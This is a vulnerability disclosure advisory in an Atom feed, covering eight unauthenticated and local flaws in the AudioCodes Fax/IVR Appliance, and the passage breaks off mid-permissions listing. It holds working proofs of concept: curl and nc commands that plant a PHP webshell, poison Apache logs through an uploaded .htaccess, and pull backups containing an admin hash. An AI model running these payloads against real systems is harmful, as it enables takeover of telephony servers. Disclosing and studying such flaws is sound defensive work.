<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <author>Pierre Kim &lt;pierre.kim.sec@gmail.com&gt;</author>
    <title>IT Security Research by Pierre</title>
    
    <entry>
        <title>8 vulnerabilities in AudioCodes Fax/IVR Appliance</title>
        <link href="2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html"/>
        <content type="html"><h2>Product description</h2>
<blockquote>
<p>AudioCodes' Fax Server (Fax to Mail and Mail to Fax) application is a powerful and flexible software
application used to manage inbound fax calls and outbound mail-to-fax calls, delivering them
efficiently to their correct destination.</p>
<p>From <a href="https://www.audiocodes.com/media/14442/fax-server-and-auto-attendant-ivr-administrators-guide-ver-26x.pdf">https://www.audiocodes.com/media/14442/fax-server-and-auto-attendant-ivr-administrators-guide-ver-26x.pdf</a></p>
</blockquote>
<h2>Vulnerabilities Summary</h2>
<p>Vulnerable versions: all versions.</p>
<p>The summary of the vulnerabilities is:</p>
<ol>
<li><a href="#rce-01">CVE-2025-34328 - Pre-authenticated Remote Code Execution #1</a><br></li>
<li><a href="#rce-02">CVE-2025-34329 - Pre-authenticated Remote Code Execution #2</a><br></li>
<li><a href="#file-upload">CVE-2025-34330 - Pre-authenticated File upload vulnerability</a><br></li>
<li><a href="#file-read">CVE-2025-34331 - Pre-authenticated File read</a><br></li>
<li><a href="#lpe-01">CVE-2025-34332 - Local Privilege Escalation #1</a><br></li>
<li><a href="#lpe-02">CVE-2025-34333 - Local Privilege Escalation #2</a><br></li>
<li><a href="#rce-03">CVE-2025-34334 - Post-authenticated Command Injection and Local Privilege Escalation</a><br></li>
<li><a href="#rce-04">CVE-2025-34335 - Post-authenticated Command Injection</a><br></li>
</ol>
<p><em>Miscellaneous notes</em>:</p>
<p>The critical vulnerabilities have been confirmed to be present in the latest public version.</p>
<p>Other vulnerabilities I have also identified require authentication, therefore the security risk is considered low to medium:</p>
<ul>
<li>An attacker with admin privileges in the web interface can execute commands as <code>NT AUTHORITY\SYSTEM</code> in several ways;</li>
<li>An attacker with a local account on the server will very quickly gain <code>NT AUTHORITY\SYSTEM</code> privileges, as file and directory permissions are insecure everywhere.</li>
</ul>
<p>Vulnerabilities #1, #2 #3 and #4 were shared with Audiocodes PSIRT but communication was almost nonexistent (see <a href="#timeline">Report Timeline</a>): AudioCodes PSIRT never provided any information or feedback, even with my regular follow-up emails. I also believe that this solution is EOL since December 31, 2024.</p>
<p>Vulnerabilities #5, #7 and #8 were discovered during an audit of an "unsupported" version of the AudioCodes Fax/IVR Appliance that was incorrectly patched. New unsupported versions were found in the vendor AWS S3 bucket that allows directory listing (<a href="https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/">https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/</a>) - this bucket is used by the vendor to distribute some of its solutions. Surprisingly, the root causes were not addressed and the vulnerabilities #1 through #4 were still present. Vulnerability #6 was simply discovered during the creation of this security advisory to illustrate insecure permissions.</p>
<p>I didn't spend much time analyzing this solution (installation took 10 minutes and the first pre-auth RCE was found in about 5 minutes), but the existing PHP code presents a considerable attack surface.</p>
<p>Regarding the security status of this product, it is also quite surprising to find no public CVEs. I assume this solution has never been audited.</p>
<p>Unfortunately, the vendor has not followed their official security vulnerability handling. AudioCode's PSIRT team has not responded, and security advisories have not been published.</p>
<p>Additionally, It is also worth noting that Audiocodes Session Border Controllers (SBCs) were quietly patched in 2024 to address the misfortune cookie vulnerability (CVE-2014-9222). This exploit was tested on the Median Virtual Edition and Mediant 800 SBCs.</p>
<pre><code>kali% curl -kv --header 'Cookie: C1012213=1' https:///192.168.0.2/
-&gt; /acBin/TPApp will segfault in the remote appliance/ARM device
</code></pre>
<ul>
<li>firmware sbc-F7.40A.005.619 is vulnerable.</li>
<li>firmware sbc-F7.40A.500.781 is not vulnerable.</li>
</ul>
<p>No security bulletins were found regarding this silently patched vulnerability and it is recommended to use the latest firmware version of Audiocodes Session Border Controllers.</p>
<p><em>Impacts</em></p>
<p>An attacker can compromise AudioCodes Fax/IVR Appliance without authentication and move laterally in the telecom and IT infrastructure.</p>
<p>An attacker can compromise outdated AudioCodes Session Border Controllers with the misfortune cookie vulnerability.</p>
<p><em>Recommendations</em></p>
<p>Do not use AudioCodes Fax/IVR Appliance.</p>
<p>Do not expose the AudioCodes Fax/IVR Appliance to the network.</p>
<p>Use secure permissions.</p>
<p>Remove vulnerable webpages.</p>
<p>Update Audiocodes Session Border Controllers.</p>
<h2>Identification of the solution</h2>
<p>The latest solution (AudioCodes Fax/IVR Appliance Installer, Version 2.6.230.000) can be found at:</p>
<ul>
<li><a href="https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/Download/AC_FAX_IVR_IW.html">https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/Download/AC_FAX_IVR_IW.html</a></li>
<li><a href="https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/Fax_IVR/FaxAtt_Setup_2.6.230.000.zip">https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/Fax_IVR/FaxAtt_Setup_2.6.230.000.zip</a></li>
</ul>
<p><img alt="" src="images/2025-audiocodes-ivr.png" /></p>
<p><a id="rce-01"></a></p>
<h2>Details - Pre-authenticated Remote Code Execution #1</h2>
<p>The vulnerability is located in the <code>C:\F2MAdmin\F2E\AudioCodes_files\utils\IVR\diagram\ajaxScript.php</code> PHP file. This file allows an attacker to upload files without authentication.</p>
<p>Content of <code>C:\F2MAdmin\F2E\AudioCodes_files\utils\IVR\diagram\ajaxScript.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
  <span style="color: #666666">2</span> <span style="color: #19177C">$dir</span>  <span style="color: #666666">=</span> <span style="color: #008000">dirname</span>(<span style="color: #008000">dirname</span>(<span style="color: #880000">__FILE__</span>));
  <span style="color: #666666">3</span> <span style="color: #008000; font-weight: bold">require_once</span> <span style="color: #19177C">$dir</span><span style="color: #666666">.</span><span style="color: #BA2121">&#39;/classes/SystemStatus.class.php&#39;</span>;
  <span style="color: #666666">4</span> 
  <span style="color: #666666">5</span> <span style="color: #408080; font-style: italic">//$scriptName = $_REQUEST[&#39;scriptName&#39;];</span>
  <span style="color: #666666">6</span> <span style="color: #19177C">$action</span> <span style="color: #666666">=</span> <span style="color: #008000">isset</span>(<span style="color: #19177C">$_REQUEST</span>[<span style="color: #BA2121">&quot;action&quot;</span>]) <span style="color: #666666">?</span> <span style="color: #19177C">$_REQUEST</span>[<span style="color: #BA2121">&quot;action&quot;</span>] <span style="color: #666666">:</span> <span style="color: #BA2121">&quot;&quot;</span>;
  <span style="color: #666666">7</span> 
  <span style="color: #666666">8</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #666666">!</span><span style="color: #008000; font-weight: bold">empty</span>(<span style="color: #19177C">$action</span>)){
  <span style="color: #666666">9</span>         <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #19177C">$action</span> <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;getScripts&#39;</span>){
[<span style="color: #666666">...</span>]
 <span style="color: #666666">26</span>         }
 <span style="color: #666666">27</span>         <span style="color: #008000; font-weight: bold">else</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #19177C">$action</span> <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;saveScript&#39;</span>){
 <span style="color: #666666">28</span>                 <span style="color: #19177C">$scriptValue</span> <span style="color: #666666">=</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">&#39;value&#39;</span>]; <span style="color: #408080; font-style: italic">// [1] - attacker-controlled value</span>
 <span style="color: #666666">29</span>                 <span style="color: #19177C">$scriptName</span> <span style="color: #666666">=</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">&#39;name&#39;</span>];   <span style="color: #408080; font-style: italic">// [2] - attacker-controlled value</span>
 <span style="color: #666666">30</span> 
 <span style="color: #666666">31</span>                 <span style="color: #19177C">$systemStatus</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> SystemStatus();
 <span style="color: #666666">32</span>                 <span style="color: #19177C">$sysInfo</span> <span style="color: #666666">=</span> <span style="color: #19177C">$systemStatus</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">GetSysInfo</span>();
 <span style="color: #666666">33</span>                 <span style="color: #19177C">$path</span> <span style="color: #666666">=</span> <span style="color: #19177C">$sysInfo</span>[SystemStatus<span style="color: #666666">::</span><span style="color: #7D9029">SCRIPTS_DIR</span>];
 <span style="color: #666666">34</span> 
 <span style="color: #666666">35</span>                 <span style="color: #19177C">$ok</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;false&#39;</span>;
 <span style="color: #666666">36</span>                 <span style="color: #19177C">$ok</span> <span style="color: #666666">=</span> <span style="color: #008000">file_put_contents</span>(<span style="color: #19177C">$path</span><span style="color: #666666">.</span><span style="color: #BA2121">&quot;/&quot;</span><span style="color: #666666">.</span><span style="color: #19177C">$scriptName</span>, <span style="color: #19177C">$scriptValue</span>); <span style="color: #408080; font-style: italic">// [3] - insecure file write with attacker-controlled values</span>
 <span style="color: #666666">37</span>                 <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #19177C">$ok</span> <span style="color: #666666">===</span> <span style="color: #008000; font-weight: bold">true</span>){
 <span style="color: #666666">38</span>                         <span style="color: #19177C">$ok</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;true&#39;</span>;
 <span style="color: #666666">39</span>                 }
 <span style="color: #666666">40</span>                 <span style="color: #008000">ob_clean</span>();
 <span style="color: #666666">41</span>                 <span style="color: #008000; font-weight: bold">echo</span> (<span style="color: #19177C">$ok</span>);
 <span style="color: #666666">42</span>                 <span style="color: #008000; font-weight: bold">die</span>;
 <span style="color: #666666">43</span>         }
 <span style="color: #666666">44</span> }
</pre></div>

<p>As shown in the source code, there is no authentication.</p>
<p>Without authentication, a remote attacker can access line 36 to write any file under <code>NT AUTHORITY\system</code> (Apache runs as <code>NT AUTHORITY\system</code>) because all the arguments for the <code>file_put_contents()</code> function are under attacker's control.</p>
<p>A PoC is provided below. A webshell is uploaded and a command is executed:</p>
<pre><code>kali% curl -kv "http://10.105.0.239:8090/AudioCodes_files/utils/IVR/diagram/ajaxScript.php?action=saveScript" -d "name=F2MAdmin/F2E/webshell4.php&amp;value=&lt;?php system(\$_GET['c']);?&gt;"
*   Trying 10.105.0.239:8090...
* Connected to 10.105.0.239 (10.105.0.239) port 8090
* using HTTP/1.x
&gt; POST /AudioCodes_files/utils/IVR/diagram/ajaxScript.php?action=saveScript HTTP/1.1
&gt; Host: 10.105.0.239:8090
&gt; User-Agent: curl/8.13.0
&gt; Accept: */*
&gt; Content-Length: 65
&gt; Content-Type: application/x-www-form-urlencoded
&gt; 
* upload completely sent off: 65 bytes
&lt; HTTP/1.1 200 OK
&lt; Date: Mon, 26 May 2025 14:44:38 GMT
&lt; Server: Apache/2.4.62 (Win32) OpenSSL/3.1.7 PHP/8.1.31
&lt; X-Powered-By: PHP/8.1.31
&lt; Set-Cookie: PHPSESSID=301ccae912e0c2aee878361e74d5bb30; path=/
&lt; Expires: Thu, 19 Nov 1981 08:52:00 GMT
&lt; Cache-Control: no-store, no-cache, must-revalidate
&lt; Pragma: no-cache
&lt; Content-Length: 2
&lt; Content-Type: text/html; charset=UTF-8
&lt; 
* Connection #0 to host 10.105.0.239 left intact
%
kali% curl "http://10.105.0.239:8090/webshell4.php?c=whoami"
nt authority\system
kali%
</code></pre>
<p>The resulting commands will be executed as <code>NT AUTHORITY\system</code> (meaning full control of the remote server without authentication).</p>
<p>If the <code>SystemStatus::SCRIPTS_DIR</code> variable (used for the <code>$path</code> variable in line 33) is set to a specific directory, the attacker can simply specify <code>name=/../../../../../../../F2MAdmin/F2E/webshell4.php</code> as a path traversal in the HTTP request to traverse the directory and write the webshell in the <code>C:\F2MAdmin\F2E\</code> directory (corresponding to the <code>DocumentRoot</code> directory).</p>
<p><a id="rce-02"></a></p>
<h2>Details - Pre-authenticated Remote Code Execution #2</h2>
<p>The <code>C:\F2MAdmin\F2E\AudioCodes_files\ajaxBackupUploadFile.php</code> PHP script does not implement authentication, allowing any remote attacker to upload any file and overwrite any backup file in the default backup folder (default is <code>C:\</code>).</p>
<p>Content of <code>C:\F2MAdmin\F2E\AudioCodes_files\ajaxBackupUploadFile.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
  <span style="color: #666666">2</span> <span style="color: #008000; font-weight: bold">require_once</span> <span style="color: #BA2121">&#39;utils/IVR/classes/IvrBackup.class.php&#39;</span>;
  <span style="color: #666666">3</span> <span style="color: #008000; font-weight: bold">require_once</span> <span style="color: #BA2121">&#39;utils/IVR/IvrRestUtil.php&#39;</span>;
  <span style="color: #666666">4</span> <span style="color: #008000; font-weight: bold">require_once</span> <span style="color: #BA2121">&#39;utils/IVR/diagram/constants.php&#39;</span>;
  <span style="color: #666666">5</span> 
  <span style="color: #666666">6</span> <span style="color: #19177C">$ivrBackup_ins</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> IvrBackups();
  <span style="color: #666666">7</span> <span style="color: #19177C">$target_path</span> <span style="color: #666666">=</span> <span style="color: #19177C">$ivrBackup_ins</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">GetBackupFolderPath</span>()<span style="color: #666666">.</span><span style="color: #BA2121">&quot;</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">&quot;</span>;
  <span style="color: #666666">8</span> 
  <span style="color: #666666">9</span> 
 <span style="color: #666666">10</span> <span style="color: #408080; font-style: italic">//$target_path = &quot;C:\\F2MAdmin\\tmp\\&quot;;</span>
 <span style="color: #666666">11</span> 
 <span style="color: #666666">12</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #666666">!</span><span style="color: #008000">is_dir</span>(<span style="color: #19177C">$target_path</span>))
 <span style="color: #666666">13</span>         <span style="color: #008000">mkdir</span>(<span style="color: #19177C">$target_path</span>, <span style="color: #666666">0777</span>, <span style="color: #008000; font-weight: bold">true</span>);
 <span style="color: #666666">14</span> <span style="color: #408080; font-style: italic">/* Add the original filename to our target path.  </span>
<span style="color: #408080; font-style: italic"> 15 Result is &quot;uploads/filename.extension&quot; */</span>
 <span style="color: #666666">16</span> <span style="color: #19177C">$target_path</span> <span style="color: #666666">=</span> <span style="color: #19177C">$target_path</span> <span style="color: #666666">.</span> <span style="color: #008000">basename</span>( <span style="color: #19177C">$_FILES</span>[<span style="color: #BA2121">&#39;fileToUpload&#39;</span>][<span style="color: #BA2121">&#39;name&#39;</span>]);
 <span style="color: #666666">17</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #008000">move_uploaded_file</span>(<span style="color: #19177C">$_FILES</span>[<span style="color: #BA2121">&#39;fileToUpload&#39;</span>][<span style="color: #BA2121">&#39;tmp_name&#39;</span>], <span style="color: #19177C">$target_path</span>)) {
 <span style="color: #666666">18</span>     <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;The file &quot;</span><span style="color: #666666">.</span>  <span style="color: #008000">basename</span>( <span style="color: #19177C">$_FILES</span>[<span style="color: #BA2121">&#39;fileToUpload&#39;</span>][<span style="color: #BA2121">&#39;name&#39;</span>])<span style="color: #666666">.</span>
 <span style="color: #666666">19</span>     <span style="color: #BA2121">&quot; has been uploaded.&quot;</span>;
 <span style="color: #666666">20</span> } <span style="color: #008000; font-weight: bold">else</span>{
 <span style="color: #666666">21</span>     <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;There was an error uploading the file, please try again!&quot;</span>;
 <span style="color: #666666">22</span> }
 <span style="color: #666666">23</span> <span style="color: #008000; font-weight: bold">die</span>;
</pre></div>

<p>Exploitation is explained below:</p>
<p>1. With <code>/AudioCodes_files/ajaxBackupUploadFile.php</code>, upload of a <code>.htaccess</code> file in <code>C:\</code> containing this line:</p>
<p><code>php_value auto_prepend_file C:/Apache24/logs/access.log</code></p>
<p>You can also skip step 2 and directly include a base64-encoded PHP webshell inside the <code>.htaccess</code> file with <code>auto_prepend_file = "data:;base64,BASE64(webshell)"</code> but it will probably be detected and blocked by any EDR.</p>
<p>2. Apache logs will be used to store a PHP webshell by requesting <code>/OUTPUT:&lt;?php system($_GET['c']);?&gt;</code> (this is an invalid HTTP request as we do not want to URL-encode the space into <code>%20</code>). The <code>OUTPUT</code> keyword  is used to filter the interesting part of the resulting webpages in step 3 since the answer will also contain some HTML tags and JavaScript code.</p>
<p>3. Getting Remote Code Execution by reaching any PHP page because the <code>C:\Apache24\logs\access.log</code> file will now be appended and it contains a PHP webshell.</p>
<p>PoC:</p>
<pre><code>kali% curl -F "fileToUpload=php_value auto_prepend_file C:/Apache24/logs/access.log;filename=.htaccess" http://10.105.0.239:8090/AudioCodes_files/ajaxBackupUploadFile.php
The file .htaccess has been uploaded.

kali% echo "OUTPUT:&lt;?php system(\$_GET['c']);?&gt;" | nc -v 10.105.0.239 8090
10.105.0.239: inverse host lookup failed: Unknown host
(UNKNOWN) [10.105.0.239] 8090 (?) open
HTTP/1.1 400 Bad Request
Date: 26 May 2025 14:54:31 GMT
Server: Apache/2.4.62 (Win32) OpenSSL/3.1.7 PHP/8.1.31
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1

&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt;
&lt;html&gt;&lt;head&gt;
&lt;title&gt;400 Bad Request&lt;/title&gt;
&lt;/head&gt;&lt;body&gt;
&lt;h1&gt;Bad Request&lt;/h1&gt;
&lt;p&gt;Your browser sent a request that this server could not understand.&lt;br /&gt;
&lt;/p&gt;
&lt;/body&gt;&lt;/html&gt;
kali%

kali% curl -s 'http://10.105.0.239:8090/?c=whoami' | grep OUTPUT
10.105.0.238 - - [26/May/2025:14:54:34 -0700] "OUTPUT:nt authority\system
kali% curl -s 'http://10.105.0.239:8090/?c=dir' | grep -A 10 OUTPUT
10.105.0.238 - - [26/May/2025:14:54:39 -0700] "OUTPUT: Volume in drive C has no label.
 Volume Serial Number is DECE-1ED7

 Directory of C:\F2MAdmin\F2E

05/26/2025  07:37 AM    &lt;DIR&gt;          .
05/26/2025  07:37 AM    &lt;DIR&gt;          ..
08/22/2023  12:37 PM            13,964 agent.php
08/22/2023  12:37 PM               342 agentLogout.php
08/22/2023  12:37 PM            27,611 AudioCodes.php
05/26/2025  07:40 AM    &lt;DIR&gt;          AudioCodes_files
kali%
</code></pre>
<p><a id="file-upload"></a></p>
<h2>Details - Pre-authenticated File upload vulnerability</h2>
<p>The <code>C:\F2MAdmin\F2E\AudioCodes_files\utils\IVR\diagram\ajaxPromptUploadFile.php</code> PHP script does not implement authentication, allowing any remote attacker to upload any file in <code>C:\F2MAdmin\tmp</code>.</p>
<p>PoC:</p>
<pre><code>kali% curl -F "fileToUpload=test;filename=test2.txt" http://10.105.0.239:8090/AudioCodes_files/utils/IVR/diagram/ajaxPromptUploadFile.php
The file test2.txt has been uploaded
kali%
</code></pre>
<p>The resulting file will be stored in <code>C:\F2mAdmin\tmp</code>.</p>
<p><a id="file-read"></a></p>
<h2>Details - Pre-authenticated File read</h2>
<p>The <code>C:\F2MAdmin\F2E\AudioCodes_files\download.php</code> PHP script does not implement authentication.</p>
<p>This script allows to download files stored in the appliance depending on the authorized extensions (e.g., zip, txt, c2v, ...).</p>
<p>This vulnerability allows an attacker to download the backup files and compromise the server since they contain hashes of users.</p>
<p>The format of the backup filename can be easily guessed (<code>BACKUP_Day_DD_Month_YY_HH_MM_SS.zip</code>).</p>
<p>PoC:</p>
<pre><code>kali% curl 'http://10.105.0.239:8090/AudioCodes_files/download.php?baseDir=C:\F2MAdmin\backup\&amp;f=BACKUP_Mon_26_May_25_20_23_42.zip' --output BACKUP_Mon_26_May_25_20_23_42.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3739  100  3739    0     0   139k      0 --:--:-- --:--:-- --:--:--  140k
kali% 7z l BACKUP_Mon_26_May_25_20_23_42.zip

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:8 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 3739 bytes (4 KiB)

Listing archive: BACKUP_Mon_26_May_25_20_23_42.zip

--
Path = BACKUP_Mon_26_May_25_20_23_42.zip
Type = zip
Physical Size = 3739

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-05-26 10:23:42 .....         5120          402  dbcdr.db
2025-05-26 10:23:44 .....          455          154  ErrorLog.txt
2025-05-26 10:23:42 .....        73728         2484  f2e.db3
2025-05-26 10:23:44 .....          678          209  log.txt
2025-05-26 10:23:44 .....            2            2  ovoc.json
------------------- ----- ------------ ------------  ------------------------
2025-05-26 10:23:44              79983         3251  5 files
kali% unzip BACKUP_Mon_26_May_25_20_23_42.zip
Archive:  BACKUP_Mon_26_May_25_20_23_42.zip
  inflating: dbcdr.db                
  inflating: ErrorLog.txt            
  inflating: f2e.db3                 
  inflating: log.txt                 
 extracting: ovoc.json               
kali% sqlite3 f2e.db3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite&gt; .dump
[...]
INSERT INTO ADMIN VALUES(1,'Admin','e3afed0047b08059d0fada10f400c1e5',NULL,NULL,0,1);
[...]
</code></pre>
<p><a id="lpe-01"></a></p>
<h2>Details - Local Privilege Escalation #1</h2>
<p>Some batch files are executed as <code>NT AUTHORITY\system</code> with the <code>system()</code> function. Unfortunately, these batch files can be overwritten by local users due to insecure permissions.</p>
<p>Content of <code>C:\F2E\AudioCodes_files\ajaxPost.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">132</span>                         <span style="color: #19177C">$cmd</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;cmd /c &quot;</span><span style="color: #666666">.</span><span style="color: #BA2121">&quot;C:</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">F2MAdmin</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">F2E</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">AudioCodes_files</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">utils</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">Services</span><span style="color: #BB6622; font-weight: bold">\\</span><span style="color: #BA2121">&quot;</span>;
<span style="color: #666666">133</span>                         <span style="color: #19177C">$stop</span> <span style="color: #666666">=</span> <span style="color: #19177C">$cmd</span><span style="color: #666666">.</span><span style="color: #BA2121">&quot;stop.bat&quot;</span>;
<span style="color: #666666">134</span>                         <span style="color: #19177C">$start</span> <span style="color: #666666">=</span> <span style="color: #19177C">$cmd</span><span style="color: #666666">.</span><span style="color: #BA2121">&quot;start.bat&quot;</span>;
<span style="color: #666666">135</span>                         <span style="color: #19177C">$restart</span> <span style="color: #666666">=</span> <span style="color: #19177C">$cmd</span><span style="color: #666666">.</span><span style="color: #BA2121">&quot;restart.bat&quot;</span>;
<span style="color: #666666">136</span>                         <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #19177C">$serviceName</span> <span style="color: #666666">==</span> Services<span style="color: #666666">::</span><span style="color: #7D9029">FAX_SERVER_NAME</span> <span style="color: #666666">||</span> <span style="color: #19177C">$serviceName</span> <span style="color: #666666">==</span> Services<span style="color: #666666">::</span><span style="color: #7D9029">FAX_ENGINE_NAME</span>){
<span style="color: #666666">137</span>                                 <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #19177C">$action</span> <span style="color: #666666">!=</span> Actions<span style="color: #666666">::</span><span style="color: #7D9029">START</span> ){
<span style="color: #666666">138</span>                                         <span style="color: #008000">system</span>(<span style="color: #19177C">$stop</span><span style="color: #666666">.</span><span style="color: #BA2121">&#39; &quot;&#39;</span><span style="color: #666666">.</span>Services<span style="color: #666666">::</span><span style="color: #7D9029">FAX_SERVER_NAME</span><span style="color: #666666">.</span><span style="color: #BA2121">&#39;&quot;&#39;</span>);
<span style="color: #666666">139</span>                                         <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #19177C">$serviceName</span> <span style="color: #666666">==</span> Services<span style="color: #666666">::</span><span style="color: #7D9029">FAX_ENGINE_NAME</span>)
<span style="color: #666666">140</span>                                                 <span style="color: #008000">system</span>(<span style="color: #19177C">$stop</span><span style="color: #666666">.</span><span style="color: #BA2121">&#39; &quot;&#39;</span><span style="color: #666666">.</span>Services<span style="color: #666666">::</span><span style="color: #7D9029">FAX_ENGINE_NAME</span><span style="color: #666666">.</span><span style="color: #BA2121">&#39;&quot;&#39;</span>);
<span style="color: #666666">141</span>                                 }
<span style="color: #666666">142</span>                                 <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #19177C">$action</span> <span style="color: #666666">!=</span> Actions<span style="color: #666666">::</span><span style="color: #7D9029">STOP</span>){
<span style="color: #666666">143</span>                                         <span style="color: #008000">system</span>(<span style="color: #19177C">$start</span><span style="color: #666666">.</span><span style="color: #BA2121">&#39; &quot;&#39;</span><span style="color: #666666">.</span>Services<span style="color: #666666">::</span><span style="color: #7D9029">FAX_ENGINE_NAME</span><span style="color: #666666">.</span><span style="color: #BA2121">&#39;&quot;&#39;</span>); <span style="color: #408080; font-style: italic">// start always</span>
<span style="color: #666666">144</span>                                         <span style="color: #008000">system</span>(<span style="color: #19177C">$start</span><span style="color: #666666">.</span><span style="color: #BA2121">&#39; &quot;&#39;</span><span style="color: #666666">.</span>Services<span style="color: #666666">::</span><span style="color: #7D9029">FAX_SERVER_NAME</span><span style="color: #666666">.</span><span style="color: #BA2121">&#39;&quot;&#39;</span>);
</pre></div>

<p>These files can be modified by any user on the server, allowing them to obtain <code>NT AUTHORITY\SYSTEM</code> privileges:</p>
<p><img alt="" src="images/2025-audiocodes-ivr-permissions.png" /></p>
<p>Using <code>icacls</code>:</p>
<pre><code>C:\F2MAdmin\F2E\AudioCodes_files\utils\Services&gt; icacls *
restart.bat BUILTIN\Administrators:(I)(F)
            NT AUTHORITY\SYSTEM:(I)(F)
            BUILTIN\Users:(I)(RX)
            NT AUTHORITY\Authenticated Users:(I)(M)

RestartBlade.bat BUILTIN\Administrators:(I)(F)
                 NT AUTHORITY\SYSTEM:(I)(F)
                 BUILTIN\Users:(I)(RX)
                 NT AUTHORITY\Authenticated Users:(I)(M)

RestartEmail.bat BUILTIN\Administrators:(I)(F)
                 NT AUTHORITY\SYSTEM:(I)(F)
                 BUILTIN\Users:(I)(RX)
                 NT AUTHORITY\Authenticated Users:(I)(M)

RestartFaxReceiver.bat BUILTIN\Administrators:(I)(F)
                       NT AUTHORITY\SYSTEM:(I)(F)
                       BUILTIN\Users:(I)(RX)
                       NT AUTHORITY\Authenticated Users:(I)(M)

RestartService.bat BUILTIN\Administrators:(I)(F)
                   NT AUTHORITY\SYSTEM:(I)(F)
                   BUILTIN\Users:(I)(RX)
                   NT AUTHORITY\Authenticated Users:(I)(M)

RestartWatchdog.bat BUILTIN\Administrators:(I)(F)
                    NT AUTHORITY\SYSTEM:(I)(F)
                    BUILTIN\Users:(I)(RX)
                    NT AUTHORITY\Authenticated Users:(I)(M)

Service.class.php BUILTIN\Administrators:(I)(F)
                  NT AUTHORITY\SYSTEM:(I)(F)
                  BUILTIN\Users:(I)(RX)
                  NT AUTHORITY\Authenticated Users:(I)(M)

ServicesKeys.class.php BUILTIN\Administrators:(I)(F)
                       NT AUTHORITY\SYSTEM:(I)(F)
                       BUILTIN\Users:(I)(RX)
                       NT AUTHORITY\Authenticated Users:(I)(M)

start.bat BUILTIN\Administrators:(I)(F)
          NT AUTHORITY\SYSTEM:(I)(F)
          BUILTIN\Users:(I)(RX)
          NT AUTHORITY\Authenticated Users:(I)(M)

startCommetrex.bat BUILTIN\Administrators:(I)(F)
                   NT AUTHORITY\SYSTEM:(I)(F)
                   BUILTIN\Users:(I)(RX)
                   NT AUTHORITY\Authenticated Users:(I)(M)

startService.bat BUILTIN\Administrators:(I)(F)
                 NT AUTHORITY\SYSTEM:(I)(F)
                 BUILTIN\Users:(I)(RX)
                 NT AUTHORITY\Authenticated Users:(I)(M)

startService1.bat BUILTIN\Administrators:(I)(F)
                  NT AUTHORITY\SYSTEM:(I)(F)
                  BUILTIN\Users:(I)(RX)
                  NT AUTHORITY\Authenticated Users:(I)(M)

startService2.bat BUILTIN\Administrators:(I)(F)
                  NT AUTHORITY\SYSTEM:(I)(F)
                  BUILTIN\Users:(I)(RX)
                  NT AUTHORITY\Authenticated Users:(I)(M)

stop.bat BUILTIN\Administrators:(I)(F)
         NT AUTHORITY\SYSTEM:(I)(F)
         BUILTIN\Users:(I)(RX)
         NT AUTHORITY\Authenticated Users:(I)(M)

stopCommetrex.bat BUILTIN\Administrators:(I)(F)
                  NT AUTHORITY\SYSTEM:(I)(F)
                  BUILTIN\Users:(I)(RX)
                  NT AUTHORITY\Authenticated Users:(I)(M)

stopService.bat BUILTIN\Administrators:(I)(F)
                NT AUTHORITY\SYSTEM:(I)(F)
                BUILTIN\Users:(I)(RX)
                NT AUTHORITY\Authenticated Users:(I)(M)

stopService1.bat BUILTIN\Administrators:(I)(F)
                 NT AUTHORITY\SYSTEM:(I)(F)
                 BUILTIN\Users:(I)(RX)
                 NT AUTHORITY\Authenticated Users:(I)(M)

stopService2.bat BUILTIN\Administrators:(I)(F)
